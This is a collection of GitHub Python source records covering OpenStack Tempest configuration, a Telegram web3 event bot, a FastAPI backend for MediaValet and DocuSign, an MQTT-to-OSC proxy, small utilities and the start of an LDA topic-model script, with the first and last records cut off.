nameservers=snet['dns_nameservers'],\n        cidr=snet['cidr'],\n        alloc_pools=snet['allocation_pools'],\n    )\n    return update_tempest_conf(cli_mgr, public_net_dict,\n                               tempest_conf=tempest_conf, img_name=img_name,\n                               **kwargs)\n\n\ndef find_tempest_conf():\n    if 'TEMPEST_CONFIG_DIR' in os.environ:\n        cdir = os.environ['TEMPEST_CONFIG_DIR']\n    elif 'TEMPEST_ROOT_DIR' in os.environ:\n        cdir = os.environ['TEMPEST_ROOT_DIR'] + \"/etc\"\n    elif os.path.isdir('etc') and os.path.isfile('etc/tempest.conf'):\n        # i'm at tempest repo directory\n        cdir = os.path.abspath('etc')\n    else:\n        cdir = '/opt/stack/tempest/etc'\n    if 'TEMPEST_CONFIG' in os.environ:\n        cfile = os.environ['TEMPEST_CONFIG']\n    else:\n        cfile = 'tempest.conf'\n    conf_file = os.path.join(cdir, cfile)\n    return conf_file\n\n\ndef get_tempest_conf(tempest_conf=None):\n    tempest_conf = tempest_conf if tempest_conf else find_tempest_conf()\n    if os.path.isfile(tempest_conf):\n        return tempest_conf\n    return None\n\n\ndef show_or_create_vmdk_image(cli_mgr, img_name=None, img_file=None):\n    img_name = img_name if img_name else DEFAULT_IMAGE_NAME\n    img_file = img_file if img_file else DEFAULT_IMAGE_FILE\n    try:\n        img = utils.fgrep(cli_mgr.nova('image-list'), name=img_name)[0]\n    except Exception:\n        property = dict(vmware_disktype='sparse',\n                        vmware_adaptertype='ide',\n                        hw_vif_model='e1000')\n        img = cli_mgr.nova('image-create', img_name, file=img_file,\n                           container_format='bare', disk_format='vmdk',\n                           is_public=True, property=property)\n    return cli_mgr.nova('image-show', img['id'])\n\n\ndef update_tempest_conf(cli_mgr, public_net_dict, tempest_conf=None,\n                        img_name=None, **kwargs):\n    public_network_name = kwargs.pop('public_network_name',\n                                     DEFAULT_PUBLIC_NETWORK_NAME)\n    img_name = kwargs.pop('image_name', DEFAULT_IMAGE_NAME)\n    img_file = kwargs.pop('image_file', DEFAULT_IMAGE_FILE)\n    tempest_conf = get_tempest_conf(tempest_conf)\n    cp = ConfigParser.ConfigParser()\n    cp.readfp(open(tempest_conf))\n    # update compute.image_ref\n    img = show_or_create_vmdk_image(cli_mgr,\n                                    img_name=img_name, img_file=img_file)\n    cp.set('compute', 'image_ref', img['id'])\n    cp.set('compute', 'image_ref_alt', img['id'])\n    # update network.public_network_id\n    net = get_net_conf(cli_mgr, public_net_dict,\n                       public_network_name)\n    cp.set('network', 'public_network_id', net['id'])\n    # save tempest.conf file\n    sv_conf_name = \".\" + os.path.basename(tempest_conf) + \".sav\"\n    sv_tempest_conf = os.path.join(os.path.dirname(tempest_conf),\n                                   sv_conf_name)\n    os.rename(tempest_conf, sv_tempest_conf)\n    # write conf to tempest_conf\n    with open(tempest_conf, 'wb') as configfile:\n        cp.write(configfile)\n    return tempest_conf\n\n\ndef get_net_conf(cli_mgr, public_net_conf, xnet_name='public',\n                 use_internal_dns=True):\n    if 'nameservers_internal' in public_net_conf and use_internal_dns:\n        dns_nameservers = public_net_conf['nameservers_internal']\n    else:\n        dns_nameservers = public_net_conf['nameservers']\n    net, subnet = vio_env.show_or_create_external_network(\n        cli_mgr, xnet_name,\n        cidr=public_net_conf['cidr'],\n        gateway_ip=public_net_conf['gateway'],\n        dns_nameservers=dns_nameservers,\n        allocation_pools=public_net_conf['alloc_pools'])\n    net = cli_mgr.qsvc('net-list', name=xnet_name)[0]\n    return net\n\n\ndef get_mimic_manager_cli(auth_url=None, username=None,\n                          password=None, tenant_name=None):\n    auth_url = auth_url if auth_url else os_auth_url\n    username = username if username else os_username\n    password = password if password else os_password\n    tenant_name = tenant_name if tenant_name else username\n    cli_mgr = utils.get_mimic_manager_cli(auth_url, username,\n                                          password, tenant_name)\n    return cli_mgr\n","repo_name":"gravity-tak/interactive-tempest","sub_path":"itempest/tools/nsx/update_tempest_conf.py","file_name":"update_tempest_conf.py","file_ext":"py","file_size_in_byte":6651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3913136169","text":"media = 0\nmulherMenos20 = 0\nmaisVelho = 0\nnomeHomem = \"\"\n\nfor n in range(0,4):\n\tnome = input(\"\\nDigite seu nome ({}/4): \".format(n+1)).strip()\n\tidade = int(input(\"Digite sua idade ({}/4): \".format(n+1)).strip())\n\tsexo = input(\"Digite seu sexo ({}/4): \".format(n+1)).upper().strip()\n\n\tif( (maisVelho == 0 or maisVelho < idade) and sexo == \"M\"):\n\t\tmaisVelho = idade\n\t\tnomeHomem = nome\n\tif(sexo == \"F\" and idade < 20):\n\t\tmulherMenos20 += 1\n\n\tmedia +=idade\n\n\nmedia/=4\n\nprint(\"\\nA media de idade é {}\".format(media))\nprint(\"O nome do Homem mais velho é {} com {} anos\".format(nomeHomem,maisVelho))\nprint(\"Existem {} mulheres com menos de 20 anos\".format(mulherMenos20))\n","repo_name":"yesy12/aprendendo_python","sub_path":"exercicios/ex056.py","file_name":"ex056.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"15859638675","text":"import sys\n\nimport logging\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\nclass idmap:\n    key_val = None\n    \"\"\"\n    Pass the filename of the key_value pair file.\n    \"\"\"\n    def __init__(self, filename, list=None):\n        self.key_val = {}\n        idfile = list\n        if filename is not None:\n            idfile = open(filename)\n\n        for line in idfile:\n            toks = line.strip().upper().split('\\t')\n            if len(toks) < 2 or toks[0] == '':\n                continue\n\n            self.key_val[toks[0]] = tuple(toks[1:])\n\n    def keys(self):\n        if self.key_val is None:\n            return {}\n        else:\n            return self.key_val.keys()\n\n    def get(self, id=None):\n        \"\"\"\n        Returns None if no file was loaded or if the key does not exist.\n        \"\"\"\n        upper_id = None\n        if id is not None:\n            upper_id = id.upper()\n        if self.key_val is None:\n            logger.info('idmap::get called with no mapping file loaded')\n            return None\n        else:\n            try:\n                return self.key_val[upper_id]\n            except KeyError:\n                logger.warning('No match for %s', id)\n                return None\n\n\nif __name__ == '__main__':\n\n    # Logging level can be input as an argument to logging.basicConfig()\n    # function to get more logging output (e.g. level=logging.INFO)\n    # The default level is logging.WARNING\n    logging.basicConfig()\n\n    from optparse import OptionParser\n    usage = \"usage: %prog [options]\"\n    parser = OptionParser(usage, version=\"%prog dev-unreleased\")\n    parser.add_option(\"-i\", \"--input-file\", dest=\"input\",\n                      help=\"input file\", metavar=\"FILE\")\n    parser.add_option(\"-m\", \"--mappings-file\", dest=\"mapping\",\n                      help=\"mappings file\", metavar=\"FILE\")\n    parser.add_option(\"-c\", \"--col\", dest=\"col\", help=\"column to remap\")\n    parser.add_option(\"-s\", \"--skip\", dest=\"skip\",\n                      help=\"lines to skip (i.e. just print the first S lines)\",\n                      default=0)\n    (options, args) = parser.parse_args()\n\n    if options.input is None:\n        sys.stderr.write(\"--input-file is required.\\n\")\n        sys.exit()\n    if options.mapping is None:\n        sys.stderr.write(\"--mappings-file is required.\\n\")\n        sys.exit()\n    col = None\n    if options.col:\n        col = int(options.col)\n\n    id_name = idmap(options.mapping)\n\n    for (i, line) in enumerate(open(options.input)):\n        if (i < int(options.skip)):\n            print(line.rstrip('\\n'))\n            continue\n        if col is not None:\n            toks = line.rstrip('\\n').split('\\t')\n            matches = id_name.get(toks[col])\n            if matches is None:\n                continue\n            for match in matches:\n                toks[col] = match\n                print('\\t'.join(toks))\n        else:\n            vals = id_name.get(line.strip())\n            if vals is None:\n                continue\n            for val in vals:\n                print(val)\n","repo_name":"greenelab/annotation-refinery","sub_path":"idmap.py","file_name":"idmap.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"33716509570","text":"from web3 import Web3 \nfrom telebot import TeleBot, types\nimport config, helper, json\nfrom web3._utils.events import EventLogErrorFlags\nfrom apscheduler.schedulers.background import BackgroundScheduler\n\n\nbot = TeleBot(config.api_token)\nweb3 = Web3(Web3.HTTPProvider(config.rpc_url))\nschd = BackgroundScheduler(daemon=True)\nclass myFilter: rpcFilter = web3.eth.filter({\n#    'address': config.contract_address,\n    'topics': [config.sig_to_track],\n})\n\ndef handleTX(x, ca):\n    allTX = helper.getAllTX()\n    if x.lower() in allTX: return print('Tx already exists')\n    logsR = web3.eth.getTransactionReceipt(x)\n    with open('./token.json', 'r') as file: abiData = json.load(file)\n   \n    txInfo = web3.eth.getTransaction(x)\n    print(getattr(txInfo, \"from\"), getattr(txInfo, \"to\"))\n\n\n    contract = web3.eth.contract(address=web3.toChecksumAddress(ca), abi=abiData)\n\n    logs = contract.events.SettledRPSLSvsChainlink().processReceipt(logsR, errors=EventLogErrorFlags.Discard)\n    if len(logs) == 0: return print('No Valid Event Found')\n\n    validData = logs[0].args\n    print(validData)\n    wagererAddress = validData.wagerer\n    amountWagerer = validData.amountWagered / 10 ** 18\n    hand = validData.hand\n    chainLink = validData.chainlinkPlayed\n    resultMatch = validData.result\n\n    markup = types.InlineKeyboardMarkup()\n    btn = types.InlineKeyboardButton(text=\"Transaction Hash\", url=\"https://etherscan.io/tx/\"+x)\n    markup.add(btn)\n\n    player_stats = contract.functions.playerStats(wagererAddress).call()\n    print(logsR)\n    wins = player_stats[0]\n    loses = player_stats[2]\n    draws = player_stats[4]\n\n    amountWin = 0 if player_stats[1] == 0 else player_stats[1] / 10 ** 18\n    amountLoss = 0 if player_stats[3] == 0 else player_stats[3] / 10 ** 18\n\n\n    \n    text_to_send = f\"\"\"<b>Round</b> : <b><a href='{config.scan_url + wagererAddress}'>{wagererAddress[0:5] + '...'}</a></b> wagered <b>{helper.roundToNearestZero(amountWagerer)} $BBT</b> and <b>{helper.getResult(resultMatch)}</b> with <b>{helper.getHandWithNumber(hand)}!</b>\n\n<b>Player Stats:</b>\n🐸Wins:{wins}  🛑Loses: {loses} ✏️Draws: {draws} \nBBT WON: ({int(amountWin)} LOSS: {int(amountLoss)})\n\"\"\"\n\n    video_link = open(\"./YouWon.mp4\", \"rb\") if helper.getResult(resultMatch) == 'won' else open(\"./YouLost.mp4\", \"rb\")\n\n\n\n    bot.send_video(\n        video=video_link,\n        caption=text_to_send,\n        chat_id=\"-1001763761758\",\n        reply_markup=markup,\n        parse_mode= \"HTML\"\n    )\n\n    \n\n    # bot.send_photo(\n    #     chat_id=\"-1001763761758\",\n    #     caption=text_to_send,\n    #     parse_mode=\"HTML\",\n    #     reply_markup=markup,\n    #     # disable_web_page_preview=True,\n    #     photo=\"\"\" # )\n    helper.insertTX(x.lower())\n\n\ndef checkTokenBuys():\n    try:\n       allEntries = myFilter.rpcFilter.get_new_entries()\n    except:\n       myFilter.rpcFilter = web3.eth.filter({ 'topics': [config.sig_to_track] })\n       return print(\"filter broken\")\n    allEntries = helper.removeDuplicateEntries(allEntries)\n    print(allEntries)\n\n    for x in allEntries:\n        handleTX(x.transactionHash.hex(), \"0x0c4A49567Cf002A99941cb19C973E794c04B8c30\") #x.address\n\n\nschd.add_job(checkTokenBuys, 'interval', seconds=5)\nschd.start()\nwhile True: pass\n\n# result = myFilter.rpcFilter.get_all_entries()\n# result = helper.removeDuplicateEntries(result)\n# print(result)\n","repo_name":"sp0oby/bbtbot","sub_path":"Bbt/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74186216143","text":"from os import access\r\nfrom fastapi import FastAPI, Header, status, Request\r\nfrom fastapi.exceptions import HTTPException\r\nfrom fastapi.security import OAuth2PasswordBearer\r\nfrom pydantic import BaseModel\r\nfrom .config import settings\r\nimport requests\r\nfrom starlette.middleware.cors import CORSMiddleware\r\nfrom .survey123 import survey\r\nimport base64\r\nimport json\r\nfrom .docusign import embeded_sender\r\n\r\napp = FastAPI()\r\n\r\norigins = [\r\n    \"http://localhost\", \"http://localhost:3000\",\r\n    \"https://hackathonjgi.software\"\r\n]\r\n\r\napp.add_middleware(\r\n    CORSMiddleware,\r\n    allow_origins=origins,\r\n    allow_credentials=True,\r\n    allow_methods=[\"*\"],\r\n    allow_headers=[\"*\"],\r\n)\r\n\r\n# Dependency\r\n# def get_db():\r\n#     db = SessionLocal()\r\n#     try:\r\n#         yield db\r\n#     finally:\r\n#         db.close()\r\n\r\n\r\nclass Req(BaseModel):\r\n    code: str\r\n\r\n\r\n@app.post(\"/api/authorize\")\r\nasync def authorize_mediavalet(code: Req):\r\n\r\n    url = \"https://login.mediavalet.com/connect/token\"\r\n\r\n    response = requests.post(\r\n        url,\r\n        data={\r\n            \"grant_type\": \"authorization_code\",\r\n            \"code\": code.code,\r\n            \"redirect_uri\": settings.frontend_url,\r\n            \"client_id\": settings.client_id,\r\n            \"client_secret\": settings.client_secret,\r\n        },\r\n        headers={'Content-Type': 'application/x-www-form-urlencoded'})\r\n\r\n    result = response.json()\r\n    print(result)\r\n\r\n    return result\r\n\r\n\r\n@app.post(\"/api/authorizerefresh\")\r\nasync def authorize_mediavalet(rtoken: str):\r\n\r\n    url = \"https://login.mediavalet.com/connect/token\"\r\n\r\n    response = requests.post(\r\n        url,\r\n        data={\r\n            \"grant_type\": \"refresh_token\",\r\n            \"refresh_token\": rtoken,\r\n            \"client_id\": settings.client_id,\r\n            \"client_secret\": settings.client_secret,\r\n        },\r\n        headers={'Content-Type': 'application/x-www-form-urlencoded'})\r\n\r\n    result = response.json()\r\n    print(result)\r\n\r\n    return result\r\n\r\n\r\n@app.get(\"/categories\")\r\nasync def get_categories(req: Request):\r\n    url = \"https://api.mediavalet.com/categories\"\r\n\r\n    header = req.headers[\"Authorization\"].split()\r\n    access_token = \"\"\r\n    if header[0] == \"Bearer\":\r\n        access_token = header[1]\r\n    else:\r\n        raise HTTPException(status_code=401, detail=\"Unauthorized\")\r\n    response = requests.get(url,\r\n                            headers={\r\n                                'Content-Type':\r\n                                'application/x-www-form-urlencoded',\r\n                                \"Ocp-Apim-Subscription-Key\":\r\n                                settings.primary_key,\r\n                                \"Authorization\": \"Bearer \" + access_token,\r\n                            })\r\n\r\n    result = response.json()\r\n    categories = []\r\n    for res in result[\"payload\"]:\r\n        cat_name = str(res[\"tree\"][\"name\"]).split(\"_\", maxsplit=1)\r\n        if res[\"assetCount\"] > 0 and res[\"subcats\"][\"total\"] == 0 and res[\r\n                \"tree\"][\"name\"].count(\"_\") == 3:\r\n            category = {\r\n                \"id\": res[\"id\"],\r\n                \"name\": cat_name[0],\r\n                \"date\": cat_name[1]\r\n            }\r\n            categories.append(category)\r\n\r\n    return categories\r\n\r\n\r\n@app.get(\"/categories/{category_id}\")\r\nasync def get_assets_with_metadata_in_category(category_id: str, req: Request):\r\n    url = \"https://api.mediavalet.com/assets\"\r\n\r\n    header = req.headers[\"Authorization\"].split()\r\n    access_token = \"\"\r\n    if header[0] == \"Bearer\":\r\n        access_token = header[1]\r\n    else:\r\n        raise HTTPException(status_code=401, detail=\"Unauthorized\")\r\n    response = requests.get(url,\r\n                            headers={\r\n                                'Content-Type':\r\n                                'application/x-www-form-urlencoded',\r\n                                \"Ocp-Apim-Subscription-Key\":\r\n                                settings.primary_key,\r\n                                \"Authorization\": \"Bearer \" + access_token,\r\n                            })\r\n    result = response.json()\r\n\r\n    url2 = \"https://api.mediavalet.com/attributes\"\r\n    response2 = requests.get(url2,\r\n                             headers={\r\n                                 \"Ocp-Apim-Subscription-Key\":\r\n                                 settings.primary_key,\r\n                                 \"Authorization\": \"Bearer \" + access_token,\r\n                             })\r\n    result2 = response2.json()\r\n\r\n    attributes = []\r\n\r\n    for res in result2[\"payload\"]:\r\n        if res[\"name\"] == \"X\" or res[\"name\"] == \"Y\":\r\n            attributes.append({\"id\": res[\"id\"], \"name\": res[\"name\"]})\r\n\r\n    print(attributes)\r\n\r\n    assets = []\r\n    for res in result[\"payload\"][\"assets\"]:\r\n        if category_id in res[\"categories\"] and attributes[0][\"id\"] in res[\r\n                \"attributes\"]:\r\n            asset = {\"id\": res[\"id\"], \"link\": res[\"media\"][\"medium\"]}\r\n            assets.append(asset)\r\n\r\n    print(assets)\r\n\r\n    return assets\r\n\r\n\r\n@app.post(\"/updatemetadata\")\r\nasync def updatemetada(req: Request):\r\n    body = await req.json()\r\n    account_id = body[\"sender\"][\"accountId\"]\r\n    envelope_id = body[\"envelopeId\"]\r\n\r\n    url_fetch = f\"http://demo.docusign.net/restapi/v2.1/accounts/{account_id}/envelopes/{envelope_id}/form_data\"\r\n    res1 = requests.get(url_fetch,\r\n                            headers={\r\n                                'Content-Type':\r\n                                'application/x-www-form-urlencoded',\r\n                                \"Authorization\": \"Bearer \" + access_token,\r\n                            })\r\n    ids = []\r\n    for ans in res1[\"formData\"]:\r\n\t    if ans[\"value\"] == \"X\":\r\n             ids.append(ans[\"name\"])\r\n\r\n    url = f\"https://api.mediavalet.com/assets/{ids[0]}\"\r\n\r\n    header = req.headers[\"Authorization\"].split()\r\n    access_token = \"\"\r\n    if header[0] == \"Bearer\":\r\n        access_token = header[1]\r\n    else:\r\n        raise HTTPException(status_code=401, detail=\"Unauthorized\")\r\n\r\n    response = requests.get(url,\r\n                            headers={\r\n                                'Content-Type':\r\n                                'application/x-www-form-urlencoded',\r\n                                \"Ocp-Apim-Subscription-Key\":\r\n                                settings.primary_key,\r\n                                \"Authorization\": \"Bearer \" + access_token,\r\n                            })\r\n\r\n    result = response.json()\r\n    category_id = result[\"payload\"][\"categories\"][0]\r\n\r\n    url2 = f\"https://api.mediavalet.com/categories/{category_id}\"\r\n\r\n    response2 = requests.get(url2,\r\n                             headers={\r\n                                 'Content-Type':\r\n                                 'application/x-www-form-urlencoded',\r\n                                 \"Ocp-Apim-Subscription-Key\":\r\n                                 settings.primary_key,\r\n                                 \"Authorization\": \"Bearer \" + access_token,\r\n                             })\r\n\r\n    result2 = response2.json()\r\n\r\n    cat_name = str(result2[\"payload\"][\"name\"]).split(\"_\", maxsplit=1)\r\n    survey_info = survey.get_info(camera_id=cat_name[0].title(),\r\n                                  date=cat_name[1])\r\n\r\n    x_coord = survey_info[\"X\"]\r\n    y_coord = survey_info[\"Y\"]\r\n\r\n    # X and Y attribute ids are hardcoded for now\r\n    for id in ids:\r\n        url = f\"https://api.mediavalet.com/assets/{id}/\"\r\n\r\n        response = requests.patch(\r\n            url,\r\n            headers={\r\n                \"Ocp-Apim-Subscription-Key\": settings.primary_key,\r\n                \"Authorization\": \"Bearer \" + access_token,\r\n            },\r\n            json=[{\r\n                \"op\": \"replace\",\r\n                \"path\": \"/attributes/c0c67677-b8eb-4522-844b-a4aeb9be7807\",\r\n                \"value\": x_coord\r\n            }, {\r\n                \"op\": \"replace\",\r\n                \"path\": \"/attributes/6ce37da1-e78f-426a-9505-671fe9161272\",\r\n                \"value\": y_coord\r\n            }])\r\n\r\n    return {\"metadata\": \"updated\"}\r\n\r\n\r\n@app.get(\"/attributes\")\r\nasync def get_attributes(req: Request):\r\n    url = \"https://api.mediavalet.com/attributes\"\r\n\r\n    header = req.headers[\"Authorization\"].split()\r\n    access_token = \"\"\r\n    if header[0] == \"Bearer\":\r\n        access_token = header[1]\r\n    else:\r\n        raise HTTPException(status_code=401, detail=\"Unauthorized\")\r\n    response = requests.get(url,\r\n                            headers={\r\n                                \"Ocp-Apim-Subscription-Key\":\r\n                                settings.primary_key,\r\n                                \"Authorization\": \"Bearer \" + access_token,\r\n                            })\r\n    result = response.json()\r\n\r\n    attributes = []\r\n    for res in result[\"payload\"]:\r\n        attributes.append({\"id\": res[\"id\"], \"name\": res[\"name\"]})\r\n\r\n    print(attributes)\r\n\r\n    return attributes\r\n\r\n\r\n@app.get(\"/user\")\r\nasync def get_user():\r\n    url = \"https://api.mediavalet.com/users/current\"\r\n\r\n    try:\r\n        f = open(\"media_token.txt\", \"r\")\r\n        auth_token = f.read()\r\n        f.close()\r\n    except FileNotFoundError:\r\n        return {\"error\": \"Auth token not found\"}\r\n\r\n    response = requests.get(url,\r\n                            headers={\r\n                                'Content-Type':\r\n                                'application/x-www-form-urlencoded',\r\n                                \"Ocp-Apim-Subscription-Key\":\r\n                                settings.primary_key,\r\n                                \"Authorization\": \"Bearer \" + auth_token,\r\n                            })\r\n    result = response.json()\r\n    print(result[\"payload\"][\"id\"])\r\n\r\n    return result\r\n\r\n\r\n@app.post(\"/survey123/\")\r\nasync def get_survey123(req: Request):\r\n    details = await req.json()\r\n    return survey.get_info(camera_id=details['camera_id'],\r\n                           date=details['date'])\r\n\r\n\r\n@app.get(\"/docusign/authorize\")\r\nasync def authorize_mediavalet(code: str):\r\n\r\n    integrator_and_secret_key = b\"Basic \" + base64.b64encode(\r\n        str.encode(\"{}:{}\".format(settings.docusign_client_id,\r\n                                  settings.docusign_client_secret)))\r\n\r\n    access_token_request_url = \"https://account-d.docusign.com/oauth/token\"\r\n\r\n    access_token_response = requests.post(\r\n        access_token_request_url,\r\n        headers={\r\n            \"Authorization\": integrator_and_secret_key.decode(\"utf-8\"),\r\n            \"Content-Type\": \"application/x-www-form-urlencoded\",\r\n        },\r\n        data={\r\n            \"grant_type\": \"authorization_code\",\r\n            \"code\": code\r\n        })\r\n\r\n    access_token_result = access_token_response.json()\r\n    base_uri_request_url = \"https://account-d.docusign.com/oauth/userinfo\"\r\n\r\n    base_uri_response = requests.get(base_uri_request_url,\r\n                                     headers={\r\n                                         \"Authorization\":\r\n                                         \"Bearer \" +\r\n                                         access_token_result['access_token']\r\n                                     })\r\n\r\n    base_uri_result = base_uri_response.json()\r\n    response = {\r\n        'access_token': access_token_result['access_token'],\r\n        'base_uri': base_uri_result['accounts'][0]['base_uri'],\r\n        'account_id': base_uri_result['accounts'][0]['account_id']\r\n    }\r\n\r\n    # with open('convert.txt', 'w') as convert_file:\r\n    #     convert_file.write(json.dumps(response))\r\n\r\n    return response\r\n\r\n\r\n@app.post(\"/docusign/notify\")\r\nasync def docusign_notify(req: Request):\r\n    args = {\r\n        'envelope_args': {\r\n            'status': 'create'\r\n        },\r\n        'starting_view': 'recipient'\r\n    }\r\n\r\n    details = await req.json()\r\n    args['account_id'] = details['account_id']\r\n    args['ds_return_url'] = details['ds_return_url']\r\n    args['access_token'] = details['access_token']\r\n    args['base_path'] = details['base_uri']\r\n\r\n    result = embeded_sender.EmbeddedSender.worker(args, details['assets'])\r\n\r\n    return result\r\n","repo_name":"arav1ndajay/good-code-backend","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"70267296783","text":"# Time of a long running request\r\n\r\n\r\nimport socket\r\nimport time\r\nimport os, sys\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nsock.connect(('localhost', 25000))\r\n\r\n\r\nn = 0\r\n\r\nfrom threading import Thread \r\ndef monitor():\r\n\tprint(\"hello world!\")\r\n\tglobal n\r\n\twhile True:\r\n\t\ttime.sleep(1)\r\n\t\tprint(n, 'reqs/sec')\r\n\t\tn = 0\r\n\r\nt =Thread(target=monitor)\r\nt.start()\r\n\r\n\r\nwhile True:\r\n\tsock.sendall(b'1')\r\n\tresp = sock.recv(100)\r\n\tn += 1\r\n","repo_name":"addisonlynch/cs131","sub_path":"project/n/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"440542454","text":"import socket,sys\nimport paho.mqtt.subscribe as subscribe\nfrom OSC import OSCClient, OSCMessage\nimport ast\n\n#CONFIG STARTS HERE\n\n# IF JCD is the Broker\nMQTT_SERVER=\"2.0.0.20\"\n# if MDC-X itself is the broker use:\n# MQTT_SERVER=\"127.0.0.1\" \nMYUUID=\"1234\"\n\n# USAGE\n# All OSC commands are available over MQTT\n# To trigger an OSC command over MQTT (this is a 1:1 proxy ) use i.e.\n#\n# for BASIC OSC COMMANDS i.e.:\n# mosquitto_pub -h MQTT_SERVER -t \"mdcx/MYUUID/osc\" -m \"mdc_layer1_preset_next\"\n#\n# for ADVANCED OSC COMMANDS i.e:\n# mosquitto_pub -h MQTT_SERVER -t \"mdcx/MYUUID/osc\" -m \"mdc_dmx (1,1,255,2,255,3,255,4,255)\"\n\n\n#CONFIG ENDS HERE\n\n\n\nMDCX_HOST=\"127.0.0.1\"\nMDCX_OSC_PORT=7475\n\nstate_preset=0\nstate_dmx=0\n\nmdcx_osc = OSCClient()\nmdcx_osc.connect((MDCX_HOST, MDCX_OSC_PORT))\n\ndef oscsender(obj,topic,msg):\n        try:\n                if msg is None:\n                        obj.send(OSCMessage(topic))\n                        print(\"OSC LOG: TOPIC(\"+str(topic)+\")\")\n                else:\n                        obj.send(OSCMessage(topic,msg))\n                        print(\"OSC LOG: TOPIC(\"+str(topic)+\") MSG(\"+str(msg)+\")\")\n        except:\n                print(\"OSC ERROR - failed to send!\")\n\n\n\ndef on_message(client, userdata, message):\n    global state_preset\n    uid = message.topic.split(\"/\")[1]\n    topic = message.topic.split(\"/\")[2]\n\n    if uid == MYUUID or uid == \"global\":\n        print(\"MQTT RECEIVED => TOPIC: \\\"%s\\\"  PAYLOAD: \\\"%s\\\"\" % (message.topic, message.payload))\n    else:\n        return\n\n\n    if topic == \"osc\":\n        stri=\"/\"+message.payload.decode(\"utf-8\") \n        m=stri.split(\" \")\n        if len(m) > 1:\n            try:\n                meval = ast.literal_eval(m[1])\n                oscsender(mdcx_osc,m[0],meval)\n            except:\n                oscsender(mdcx_osc,m[0],1.0)\n        else:\n            oscsender(mdcx_osc,m[0],1.0)\n\n\nprint(\"Connect to MQTT server:\",MQTT_SERVER)\nsubscribe.callback(on_message, \"mdcx/#\", hostname=MQTT_SERVER)\n","repo_name":"DynamicProjectionInstitute/IoT-examples","sub_path":"esp32_iot_button/mqtt2osc_proxy.py","file_name":"mqtt2osc_proxy.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17983837381","text":"from scrapers import get_mal_user_watchtime, mal_watchtime_average\nimport pytest\n\n\n@pytest.mark.asyncio\nasync def test_get_mal_user_statistics():\n    test = await get_mal_user_watchtime(username='crated')\n    print(test)\n\n\n@pytest.mark.asyncio\nasync def test_save_mal_user_statistics():\n    await get_mal_user_watchtime(username='crated', store_data=True)\n\n\n@pytest.mark.asyncio\nasync def test_mal_watchtime_average():\n    mal_watchtime_average(username='crated', days=3000)\n","repo_name":"Gofven/MAL_WTB","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"15126417223","text":"#!/usr/local/bin/python3\r\n# Submitted by: Dhruva Bhavsar, Username:dbhavsar\r\n# Programming Project 4\r\n\r\nimport numpy as np\r\nimport os\r\nimport random\r\nimport sys\r\nimport time\r\nfrom heapq import nlargest\r\n\r\n# Read the data from the documents\r\ndef read_files(path,folder):\r\n    dataset=[]\r\n    documents=[]\r\n    corpus=[]\r\n    for dirs, subdirs, files in os.walk(path):\r\n        # Reading data from folder \r\n        if (os.path.split(dirs)[1] == folder):\r\n            for filename in files:\r\n                if filename !='index.csv':\r\n                    documents.append(int(filename))\r\n                    with open(os.path.join(dirs, filename), 'r') as f:\r\n                        for line in f.read().rstrip().split(\"\\n\"):\r\n                            a=line.split(\" \")\r\n                            corpus.extend(a)\r\n                            dataset.append(a)\r\n    return dataset,corpus,documents\r\n\r\n# Main function\r\nif __name__ == \"__main__\":\r\n    \r\n   # Folder name of dataset\r\n   folder=sys.argv[1]\r\n   # Number of topics\r\n   K=int(sys.argv[2])\r\n   path='pp4data'\r\n   \r\n   start_time = time.process_time()\r\n   data,corpus,documents=read_files(path,folder)\r\n   vocab=[]\r\n   \r\n   # Initialize the vocabulary of unique words\r\n   for w in corpus:\r\n       if w not in vocab:\r\n           vocab.append(w)\r\n           \r\n   # Initialize the required parameters\r\n   \r\n   # Total words in corpus\r\n   N_words=len(corpus)\r\n   # Total number of documents\r\n   D=len(documents)\r\n   # Total words in vocabulary\r\n   V=len(vocab)\r\n   \r\n   \r\n   # Number of iterations\r\n   N=500\r\n   \r\n   # Dirichlet parameter for topic distribution\r\n   alpha=5/K\r\n   aI=alpha*np.ones((K,1))\r\n   # Dirichlet parameter for word distribution\r\n   beta=0.01\r\n   bI=beta*np.ones((V,1))\r\n   \r\n   pie=list(range(0,N_words))\r\n   \r\n   # matrix of topic counts per document\r\n   C_d=np.zeros((D,K))\r\n   # matrix of word counts per topic\r\n   C_t=np.zeros((K,V))\r\n   \r\n   P=np.zeros((K,))\r\n   \r\n   # array of word indices\r\n   w_n=[]\r\n   # array of document indices\r\n   d_n=[]\r\n   # array of initial topic indices\r\n   z_n=[]\r\n   \r\n   # Matrix A is used for bag-of-words representation\r\n   A=np.zeros((D,V))\r\n\r\n   for i in range(D):\r\n       for j in range(len(data[i])):\r\n           for k in range(V):\r\n               if data[i][j]==vocab[k]:\r\n                   A[i][k]+=1\r\n                   w_n.append(k)\r\n                   w=k\r\n           d_n.append(i)\r\n           # Assigning random topic to words\r\n           t=random.randint(0,K-1)\r\n           z_n.append(t)\r\n           C_d[i][t]+=1\r\n           C_t[t][w]+=1\r\n   \r\n   l=np.empty([D,1])\r\n   for d in range(D):\r\n       l[d]=documents[d]\r\n\r\n   A=np.hstack((l,A))\r\n   A = A[A[:,0].argsort()]\r\n   \r\n   for i in range(N):\r\n       for n in range(N_words):\r\n           word=w_n[pie[n]]\r\n           topic=z_n[pie[n]]\r\n           